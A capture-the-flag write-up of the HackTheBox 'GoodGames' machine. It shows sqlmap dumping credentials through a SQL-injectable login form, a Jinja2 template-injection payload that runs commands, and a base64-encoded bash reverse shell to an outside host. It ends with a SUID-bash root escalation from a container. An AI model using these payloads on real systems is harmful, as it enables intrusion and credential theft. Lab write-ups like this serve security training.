This is a writeup for the GoodGames machine from the HackTheBox site.
Enumeration #
First, let’s start with a scan of our target with the following command:
nmap -sV 10.10.11.130
One TCP ports are discovered:
- 80/tcp : HTTP web server (Apache 2.4.51)
Exploit #
I start by listing the pages accessible through the website.
There are a number of pages, but 3 are pages with a form: login, forgot-password and signup. With a form we can potentially make SQL injection.
First I get a login request via Burp.
POST /login HTTP/1.1
Host: 10.10.11.130
Content-Length: 36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.130
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.11.130/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
email=test%40test.fr&password=azerty
I save this request in a “request.txt” file, then I run SQLmap to determine if this form is injection sensitive.
sqlmap -r request.txt
This form is usable, so I use the following command to list the accessible databases:
sqlmap -r request.txt --dbs
[...]
[12:51:20] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
[...]
I select the database “main” and start to list the different tables.
sqlmap -r request.txt -D main --dump
[...]
[12:53:58] [INFO] retrieved: blog
[12:54:30] [INFO] retrieved: blog_comments
[12:55:51] [INFO] retrieved: user
[12:56:20] [INFO] fetching columns for table 'blog' in database 'main'
[12:56:20] [INFO] retrieved: 15
[...]
I select the “user” table and run the following command to dump the data.
sqlmap -r request.txt -D main -T user --dump
[...]
admin@goodgames.htb
[13:00:19] [INFO] retrieved: 1
[13:00:23] [INFO] retrieved: admin
[13:00:42] [INFO] retrieved: 2b22337f218b2d82dfc3b6f77e7cb8ec
[...]
Ok, we have the credentials of the admin user! We just need to get the password hash and run john to decrypt it.
John quickly finds the password: superadministrator.
I can now connect and access the admin panel. This panel is accessible via a subdomain, so I add it in my /etc/hosts file:
10.10.11.130 internal-administration.goodgames.htb
I fill in the credentials I found before and connect to the admin panel of the site.
In this panel I find a tab where I can customize the account nickname. Let’s determine the PHP template used by the site. For that I use the following github:
[PayloadsAllTheThings/README.md at master ยท swisskyrepo/PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/README.md at master ยท swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
Quickly I determine that the site uses the Jinja2 Template. I will be able to use an injection to execute commands on the server. For that I use the following injection:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
To make a shell reversel it’s a bit more complex, I didn’t manage to put just the command, so I use the base64 method to avoid that the command is modified during the process.
To do this I encode my reverse in base64 then I use the following injection to transmit it on the remote server:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzEyMzQgMD4mMQo=" | base64 -d | bash').read() }}
I now have a root shell (I think we are in a docker) and I can get the first flag.
root@3a453ab39d3d:/home/augustus# ls
user.txt
root@3a453ab39d3d:/home/augustus# cat user.txt
dec6a8b304bbe0fdfe4b8c46a3562605
Privilege escalation #
As said before, I think we are in a docker. What I can confirm after some research.
After checking my IP, we can safely say that the IP of the host is 172.19.0.1.
So I do an nmap scan on the host IP:
The SSH port is open! We can now try to connect to the user augustus to exit the docker.
I first upgrade my reverse shell with the following command (this is very important for the following).
python -c 'import pty; pty.spawn("/bin/bash")'
I am doing an SSH on the user augustus using the password previously used:
I am now in the host machine, interesting thing I notice the nmap file I uploaded in the docker is present in the folder of augustus. But what is even more interesting is that he has kept his root privilege!
What I will be able to do is to make a copy of bash. Then in the docker add the execution rights. Then go back to the host and create a bash root.
To do this, I first copy the bash file from the host machine into the augustus folder:
cp /bin/bash ./
Then I go back to the docker and add the following rights:
chown root:root bash
chmod 4777 bash
Finally I go back to the host and run a bash root:
augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt
cat /root/root.txt
702332b6faa16ef1b87c5ae52a2ef3df
I now have control of the host machine and can recover the last flag.
Recommendations #
To patch this host I think it would be necessary to perform a number of actions:
- Patch forms to avoid sql injection
- Use strong passwords
- Do not use the same password for two different services
- Do not launch dockers with root privilege